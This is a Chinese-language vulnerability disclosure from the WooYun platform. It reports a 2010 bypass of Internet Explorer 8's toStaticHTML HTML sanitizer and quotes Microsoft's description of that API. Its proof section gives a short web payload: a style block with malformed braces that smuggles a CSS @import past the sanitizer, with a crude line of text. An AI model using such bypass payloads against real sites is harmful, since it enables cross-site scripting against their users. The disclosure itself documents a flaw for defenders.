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缺陷编号：wooyun-2010-0189

漏洞标题：IE8 toStaticHtml Bypass漏洞

相关厂商：微软

漏洞作者： 结界师

提交时间：2010-08-13 11:01

修复时间：2010-08-13 11:01

公开时间：2010-08-13 11:01

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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漏洞详情

披露状态：

2010-08-13： 积极联系厂商并且等待厂商认领中，细节不对外公开
2010-08-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

toStaticHtml是微软在IE8中新提供的一个接口，号称解决xss问题
http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
<code>
Safer Mashups: HTML Sanitization
IE8 exposes a new method on the window object named toStaticHTML. When a string of HTML is passed to this function, any potentially executable script constructs are removed before the string is returned. Internally, this function is based on the same technologies as the server-side Microsoft Anti-Cross Site Scripting Library mentioned previously.
So, for example, you can use toStaticHTML to help ensure that HTML received from a postMessage call cannot execute script, but can take advantage of basic formatting:
document.attachEvent('onmessage',function(e) {
if (e.domain == 'weather.example.com') {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}
Calling:
window.toStaticHTML("This is some <b>HTML</b> with embedded script following... <script>alert('bang!');</script>!");
will return:
This is some <b>HTML</b> with embedded script following... !
</code>
80sec在其中发现一个安全缺陷可以导致绕过，所有使用tostatichtml的将依然导致xss

详细说明：

漏洞证明：

<style>
}@import url('//127.0.0.1/1.css');aaa
{;}
</style>
<div id="x">Fuck Ie</div>

修复方案：

版权声明：转载请注明来源 结界师@乌云

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